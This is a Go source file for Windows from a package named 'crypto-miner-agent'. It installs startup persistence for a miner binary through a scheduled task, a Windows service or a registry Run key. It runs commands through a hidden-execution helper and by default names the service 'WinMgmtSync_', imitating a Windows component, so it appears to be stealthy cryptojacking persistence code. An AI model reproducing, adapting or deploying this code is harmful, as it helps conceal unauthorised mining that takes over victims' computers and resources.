//go:build windows package deploy import ( "strings" "crypto-miner-agent/config" "golang.org/x/sys/windows/registry" ) func scheduledTaskExists(taskName string) bool { return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil } func registryRunExists(cfg config.RuntimeConfig, binPath string) bool { keyName := PersistenceKeyName(cfg) k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE) if err != nil { return false } defer k.Close() val, _, err := k.GetStringValue(keyName) if err != nil { return false } return strings.Contains(val, binPath) } func serviceExists(svcName string) bool { return HiddenRun("sc.exe", "query", svcName) == nil } // ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick). func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error { switch cfg.RunAs { case "scheduled": if !scheduledTaskExists(PersistenceKeyName(cfg)) { if err := createScheduledTask(cfg, installedBin); err != nil { return err } } case "service": svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } if !serviceExists(svcName) { if err := createWindowsService(cfg, installedBin); err != nil { return err } } default: if cfg.AutoStart && !registryRunExists(cfg, installedBin) { if err := configureAutoStart(cfg, installedBin); err != nil { return err } } } return nil }